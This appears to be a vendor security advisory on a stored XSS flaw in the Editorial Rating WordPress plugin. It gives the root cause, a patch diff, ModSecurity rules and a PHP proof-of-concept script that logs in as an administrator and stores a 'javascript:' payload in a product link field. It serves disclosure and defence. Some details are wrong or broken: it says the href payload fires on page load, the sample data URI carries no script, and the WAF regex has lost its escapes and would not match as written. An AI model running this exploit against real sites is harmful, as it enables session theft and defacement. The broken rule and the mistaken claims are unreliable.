Atomic Edge analysis of CVE-2026-12560:
This vulnerability is a stored cross-site scripting (XSS) flaw in the Editorial Rating – Product Review & Rating System plugin for WordPress (versions 4.0.5 and earlier). An authenticated attacker with administrator-level access can inject arbitrary web scripts via the ‘Link URL’ field. The stored payload executes whenever a user visits a page displaying the injected rating data.
Root Cause:
The vulnerability lies in how the plugin handles the ‘wpas-product-btn-link’ parameter stored in post meta (_wpas_er_options). In the public display file (public/class-average-score-public_display.php), line 90, the value is retrieved without sanitization: $wpas_product_btn_url = isset( $wpas_meta_values[‘wpas-product-btn’][‘wpas-product-btn-link’] ) ? $wpas_meta_values[‘wpas-product-btn’][‘wpas-product-btn-link’] : ”;
This unsanitized value is then used directly in template files (public/template-parts/wpas-theme-1.php), lines 74 and 104, where it is echoed into an href attribute without output escaping. The vulnerable code path is: admin saves rating data -> stored in post meta as wpas-product-btn-link -> retrieved and output in product button URL and linked product name/image.
Exploitation:
An administrator can exploit this by creating or editing a product review and setting the ‘Link URL’ field to a malicious JavaScript payload, such as ‘javascript:alert(document.cookie)’ or a data URI like ‘data:text/html,alert(1)’. The payload is stored in the post meta. When any user views a page containing the rating (e.g., single post with the editorial rating shortcode or widget), the unsanitized URL is rendered directly in an anchor tag’s href attribute. The XSS executes on page load because the browser interprets the href value as a script context.
Patch Analysis:
The patch adds esc_url() in two places. First, in public/class-average-score-public_display.php, line 90, the raw value is now passed through esc_url() before assignment. Second, in public/template-parts/wpas-theme-1.php, lines 74 and 104, the variable $wpas_product_btn_url is wrapped with esc_url() when output into the href attribute. This ensures the URL is properly sanitized and dangerous schemes like javascript: are stripped. The patch also includes a version bump from 4.0.5 to 4.0.6 and an unrelated change to WebFont loading.
Impact:
Successful exploitation allows an attacker to inject arbitrary JavaScript in the context of the affected WordPress site. This can lead to session hijacking (stealing cookies), phishing (displaying fake login forms), defacement, or redirection to malicious sites. Because the injection occurs in post meta rather than post content, it bypasses the unfiltered_html capability check, affecting all administrators regardless of their role settings. The CVSS score is 4.4 (medium), but the actual impact depends on the site’s administrative trust model.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/editorial-rating/admin/wpas-framework/classes/setup.class.php
+++ b/editorial-rating/admin/wpas-framework/classes/setup.class.php
@@ -666,15 +666,19 @@
if ( ! empty( self::$webfonts['async'] ) ) {
- $fonts = array();
+ $async_fonts = array();
foreach ( self::$webfonts['async'] as $family => $styles ) {
- $fonts[] = $family . ( ( ! empty( $styles ) ) ? ':'. implode( ',', $styles ) : '' );
+ $async_fonts[] = $family . ( ( ! empty( $styles ) ) ? ':'. implode( ',', $styles ) : '' );
}
- wp_enqueue_script( 'wpas-google-web-fonts', esc_url( '//ajax.googleapis.com/ajax/libs/webfont/1.6.26/webfont.js' ), array(), null );
-
- wp_localize_script( 'wpas-google-web-fonts', 'WebFontConfig', array( 'google' => array( 'families' => $fonts ) ) );
+ if ( ! empty( $async_fonts ) ) {
+ $async_query = array(
+ 'family' => implode( '|', $async_fonts ),
+ 'display' => 'swap',
+ );
+ wp_enqueue_style( 'wpas-google-web-fonts-async', esc_url( add_query_arg( $async_query, '//fonts.googleapis.com/css' ) ), array(), null );
+ }
}
--- a/editorial-rating/public/class-average-score-public_display.php
+++ b/editorial-rating/public/class-average-score-public_display.php
@@ -87,7 +87,7 @@
$wpas_cons_label = isset( $wpas_meta_values['wpas-cons-label'] ) ? $wpas_meta_values['wpas-cons-label'] : '';
$wpas_product_btn_show = isset( $wpas_meta_values['wpas-product-btn-show'] ) ? $wpas_meta_values['wpas-product-btn-show'] : '';
$wpas_product_btn_txt = isset( $wpas_meta_values['wpas-product-btn']['wpas-product-btn-text'] ) ? $wpas_meta_values['wpas-product-btn']['wpas-product-btn-text'] : '';
- $wpas_product_btn_url = isset( $wpas_meta_values['wpas-product-btn']['wpas-product-btn-link'] ) ? $wpas_meta_values['wpas-product-btn']['wpas-product-btn-link'] : '';
+ $wpas_product_btn_url = isset( $wpas_meta_values['wpas-product-btn']['wpas-product-btn-link'] ) ? esc_url( $wpas_meta_values['wpas-product-btn']['wpas-product-btn-link'] ) : '';
$wpas_product_btn_target = isset( $wpas_meta_values['wpas-product-btn']['wpas-product-btn-target'] ) ? $wpas_meta_values['wpas-product-btn']['wpas-product-btn-target'] : '';
$wpas_product_btn_nofollow = isset( $wpas_meta_values['wpas-product-btn']['wpas-product-btn-nofollow'] ) ? $wpas_meta_values['wpas-product-btn']['wpas-product-btn-nofollow'] : '';
$wpas_product_name_linked = isset( $wpas_meta_values['wpas-product-name-linked'] ) ? $wpas_meta_values['wpas-product-name-linked'] : '';
--- a/editorial-rating/public/template-parts/wpas-theme-1.php
+++ b/editorial-rating/public/template-parts/wpas-theme-1.php
@@ -71,7 +71,7 @@
<?php
if ( $wpas_product_name_linked ) {
- echo '<h4 class="wpas--rating-title"><a href="' . $wpas_product_btn_url . '" target="' . ( '1' !== $wpas_product_btn_target ? '_self"' : '_blank"' ) . ( '1' === $wpas_product_btn_nofollow ? ' rel="nofollow"' : '' ) . '>' . esc_html( $wpas_score_title ) . '</a></h4>';
+ echo '<h4 class="wpas--rating-title"><a href="' . esc_url( $wpas_product_btn_url ) . '" target="' . ( '1' !== $wpas_product_btn_target ? '_self"' : '_blank"' ) . ( '1' === $wpas_product_btn_nofollow ? ' rel="nofollow"' : '' ) . '>' . esc_html( $wpas_score_title ) . '</a></h4>';
} else {
echo '<h4 class="wpas--rating-title">' . esc_html( $wpas_score_title ) . '</h4>';
@@ -101,7 +101,7 @@
if ( $wpas_product_img_linked ) {
echo '<figure class="wpas--product-img">
- <a href="' . $wpas_product_btn_url . '" target="' . ( '1' !== $wpas_product_btn_target ? '_self"' : '_blank"' ) . ( '1' === $wpas_product_btn_nofollow ? ' rel="nofollow"' : '' ) . '>
+ <a href="' . esc_url( $wpas_product_btn_url ) . '" target="' . ( '1' !== $wpas_product_btn_target ? '_self"' : '_blank"' ) . ( '1' === $wpas_product_btn_nofollow ? ' rel="nofollow"' : '' ) . '>
<img height="120" src="' . esc_url( $wpas_product_image_url ) . '" alt="' . esc_attr( $wpas_product_image_alt ) . '">
</a>
</figure>';
--- a/editorial-rating/wpas_editorial_rating.php
+++ b/editorial-rating/wpas_editorial_rating.php
@@ -15,7 +15,7 @@
* Plugin Name: Editorial Rating - Product Review & Rating System
* Plugin URI: https://pluginic.com/plugins/editorial-rating/
* Description: This plugin allows you to show review scores, pros and cons on individual single page's after content, and sidebar with sticky mode.
- * Version: 4.0.5
+ * Version: 4.0.6
* Author: PLUGINIC
* Author URI: https://pluginic.com/
* License: GPL-2.0+
@@ -34,7 +34,7 @@
* Start at version 1.0.0 and use SemVer - https://semver.org
* Rename this for your plugin and update it as you release new versions.
*/
-define( 'WPAS_Editorial_Rating_VERSION', '4.0.5' );
+define( 'WPAS_Editorial_Rating_VERSION', '4.0.6' );
define( 'WPASER_DIR_PATH_FILE', plugin_dir_path( __FILE__ ) );
define( 'WPASER_DIR_URL_FILE', plugin_dir_url( __FILE__ ) );
define( 'WPASER_BASE_FILE', plugin_basename( __FILE__ ) );
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-12560
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-12560 Stored XSS via Editorial Rating Link URL Field',severity:'CRITICAL',tag:'CVE-2026-12560',tag:'wordpress',tag:'xss'"
SecRule ARGS_POST:action "@streq wpas_save_meta" "chain"
SecRule ARGS_POST:meta_value "@rx javascript:s*w+" "t:lowercase,t:urlDecodeUni"
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261995,phase:2,deny,status:403,chain,msg:'CVE-2026-12560 Stored XSS via Editorial Rating Link URL (data URI)',severity:'CRITICAL',tag:'CVE-2026-12560',tag:'wordpress',tag:'xss'"
SecRule ARGS_POST:action "@streq wpas_save_meta" "chain"
SecRule ARGS_POST:meta_value "@rx data:text/html" "t:lowercase,t:urlDecodeUni"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-12560 - Editorial Rating <= 4.0.5 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'Link URL' Field
$target_url = 'http://example.com'; // Change to target WordPress site
$admin_user = 'admin'; // Administrator username
$admin_pass = 'password'; // Administrator password
// Step 1: Login as administrator to get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $admin_user,
'pwd' => $admin_pass,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Get a valid post ID to edit (or create a new post)
// For simplicity, we edit post ID 1 (ensure it exists or adjust)
$post_id = 1;
// Step 3: Update post meta with malicious XSS payload
// The vulnerable meta key is _wpas_er_options, stored as serialized array
// We inject the XSS into wpas-product-btn-link subkey
$update_meta_url = $target_url . '/wp-admin/admin-ajax.php';
$xss_payload = 'javascript:alert(document.domain)';
// Build the serialized array that includes the malicious link
$meta_value = array(
'wpas-score-criteria-active' => true,
'wpas-product-btn' => array(
'wpas-product-btn-show' => true,
'wpas-product-btn-text' => 'Buy Now',
'wpas-product-btn-link' => $xss_payload,
'wpas-product-btn-target' => '_blank',
'wpas-product-btn-nofollow' => '1'
)
);
$ajax_data = array(
'action' => 'wpas_save_meta',
'post_id' => $post_id,
'meta_key' => '_wpas_er_options',
'meta_value' => $meta_value
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $update_meta_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
$response = curl_exec($ch);
curl_close($ch);
echo "[+] XSS payload injected into post $post_id. Visit the page viewing this rating to trigger.";
echo "n[+] Payload: $xss_payload";
?>